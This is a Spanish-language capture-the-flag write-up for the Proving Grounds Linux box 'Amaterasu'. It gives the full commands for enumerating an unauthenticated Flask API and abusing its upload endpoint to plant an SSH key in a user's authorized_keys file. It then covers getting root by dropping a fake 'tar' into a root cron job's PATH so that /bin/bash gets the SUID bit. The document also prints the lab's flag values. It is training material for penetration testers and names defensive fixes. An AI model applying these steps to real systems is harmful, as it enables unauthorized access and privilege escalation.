the_open_door
café
ESEN

Amaterasu

Proving Grounds PlayFácilLinux192.168.167.249

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#oscp#rest-api#werkzeug#flask#arbitrary-file-upload#ssh-key-injection#authorized-keys#cron#path-hijacking#suid-bash
TL;DR. Una API REST en Flask (puerto alto) expone /file-list y /file-upload sin autenticar. /file-list filtra el home y descubre a alfredo con su .ssh; con /file-upload se sube nuestra clave pública como authorized_keys en /home/alfredo/.ssh y entra SSH directa. Para root, un cron de root ejecuta un script que antepone /home/alfredo/restapi al $PATH y llama a tar sin ruta absoluta: se deja un tar malicioso ahí y en el siguiente minuto el cron pone SUID a /bin/bash.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El escaneo TCP completo saca cuatro puertos, todos en rangos poco habituales:

ping -c 1 192.168.167.249     # ttl=61 → Linux
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.167.249
PORT      STATE SERVICE
21/tcp    open  ftp
25022/tcp open  ssh
33414/tcp open  http
40080/tcp open  http
nmap -p21,25022,33414,40080 -sCV 192.168.167.249 -oN targetedScan
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
25022/tcp open  ssh     OpenSSH 8.6 (protocol 2.0)
33414/tcp open  http    Werkzeug httpd 2.2.3 (Python 3.9.13)
40080/tcp open  http    Apache httpd 2.4.53 ((Fedora))

El FTP con login anónimo no devuelve listado, y el Apache de la 40080 solo muestra una "My test page" sin nada aprovechable. El puerto interesante es el 33414: un Werkzeug/Flask en Python, casi siempre una API hecha a mano donde el interés está en sus rutas, no en la portada.

API REST - TCP 33414

dirsearch encuentra dos rutas, y /help (autodocumentación típica de estas APIs) revela el resto de endpoints:

dirsearch -u http://192.168.167.249:33414/ --exclude-status=403,404
curl http://192.168.167.249:33414/help | jq
[
  "GET /info : General Info",
  "GET /help : This listing",
  "GET /file-list?dir=/tmp : List of the files",
  "POST /file-upload : Upload files"
]

/file-list es una fuga de información de manual: acepta un dir arbitrario y lista cualquier ruta del sistema. Recorriendo /home aparece el usuario alfredo, y su directorio contiene un .ssh:

curl "http://192.168.167.249:33414/file-list?dir=home" | jq
curl "http://192.168.167.249:33414/file-list?dir=home/alfredo" | jq
["alfredo"]

[".bash_logout", ".bash_profile", ".bashrc", "local.txt", ".ssh", "restapi", ".bash_history"]

Con un .ssh propio y un SSH escuchando en la 25022, el plan se dibuja solo: subir un authorized_keys con nuestra clave pública usando el /file-upload.

Shell como alfredo

Inyección de authorized_keys vía file-upload

Se genera un par de claves y se sube la pública. El endpoint filtra por extensión (solo .txt, .jpg…), así que la .pub se renombra a .txt; pero el propio formulario acepta un campo filename con la ruta de destino, y ahí se pone authorized_keys dentro del .ssh de alfredo:

ssh-keygen -f ./id_alfredo
mv id_alfredo.pub id_alfredo.txt
curl -X POST http://192.168.167.249:33414/file-upload \
  -F file="@./id_alfredo.txt" \
  -F filename="/home/alfredo/.ssh/authorized_keys"

curl sube la clave como authorized_keys y la API responde File successfully uploaded

{"message":"File successfully uploaded"}

El filtro solo mira la extensión del fichero enviado, no el filename de destino: por eso una .txt acaba escrita como authorized_keys. Se confirma con el propio /file-list que la clave quedó en su sitio, y se entra por SSH:

curl "http://192.168.167.249:33414/file-list?dir=home/alfredo/.ssh" | jq
# ["id_rsa", "id_rsa.pub", "authorized_keys"]

chmod 600 id_alfredo
ssh -i id_alfredo alfredo@192.168.167.249 -p 25022

local.txt leída como alfredo en el host fedora

[alfredo@fedora ~]$ cat local.txt && id
82c32f9016e0c291dce504228c54c40d
uid=1000(alfredo) gid=1000(alfredo) groups=1000(alfredo)

Escalada de Privilegios

PATH hijacking en un cron de root

/etc/crontab deja ver un trabajo de root que corre cada minuto:

cat /etc/crontab
cat /usr/local/bin/backup-flask.sh
*/1 * * * * root /usr/local/bin/backup-flask.sh
#!/bin/sh
export PATH="/home/alfredo/restapi:$PATH"
cd /home/alfredo/restapi
tar czf /tmp/flask.tar.gz *

El script comete dos errores que se combinan: antepone al $PATH una carpeta que alfredo controla (/home/alfredo/restapi) y luego invoca tar sin ruta absoluta. Es un PATH hijacking de libro: cuando el cron de root resuelve tar, mira primero en restapi, así que un ejecutable llamado tar que dejemos ahí se ejecuta como root. Se usa para poner SUID a /bin/bash:

cd /home/alfredo/restapi/
echo 'chmod u+s /bin/bash' > tar
chmod +x tar
# esperar al minuto...
ls -l /bin/bash        # -rwsr-xr-x root root  → ya tiene SUID
bash -p
bash-5.1# id
uid=1000(alfredo) gid=1000(alfredo) euid=0(root) groups=1000(alfredo)

bash -p conserva el euid=0 heredado del binario SUID en lugar de dejarlo caer, y eso es root efectivo.

local.txt / proof.txt

[alfredo@fedora ~]$ cat local.txt
82c32f9016e0c291dce504228c54c40d

bash-5.1# cat /root/proof.txt
4091b4f1a29ab67817fa858888b35d99

proof.txt leído desde la shell root

Cadena de ataque

API REST Flask (33414) sin auth
  └─ /file-list?dir=home → usuario alfredo con .ssh
     └─ /file-upload con filename=/home/alfredo/.ssh/authorized_keys
        └─ inyección de nuestra clave pública → SSH como alfredo (25022)
           └─ cron de root: backup-flask.sh antepone /home/alfredo/restapi al PATH
              └─ tar sin ruta absoluta → PATH hijacking
                 └─ tar malicioso → chmod u+s /bin/bash → bash -p → root

Lecciones aprendidas

  • Un servidor Werkzeug/Flask en un puerto alto casi nunca sirve una web al uso: son APIs a medida, y el valor está en enumerar sus rutas (/help, /info, dirsearch) antes que en la portada.
  • Un endpoint que acepta una ruta de fichero arbitraria (dir=, filename=) sin restringirla al directorio de trabajo es una fuga y una escritura arbitraria a la vez; combinar /file-list (leer dónde está el .ssh) con /file-upload (escribir authorized_keys) da acceso sin tocar una sola contraseña.
  • Un filtro de subida que solo valida la extensión del fichero enviado es inútil si el destino se controla por otro parámetro: aquí una .txt acaba como authorized_keys.
  • El PATH hijacking depende de dos condiciones juntas: una entrada de $PATH escribible por nosotros y una llamada a un binario por nombre relativo desde un contexto privilegiado. Cualquiera de las dos por separado no basta; scriptear con rutas absolutas (/usr/bin/tar) lo neutraliza.
Cheatsheet de comandos 11 comandos

Repaso rápido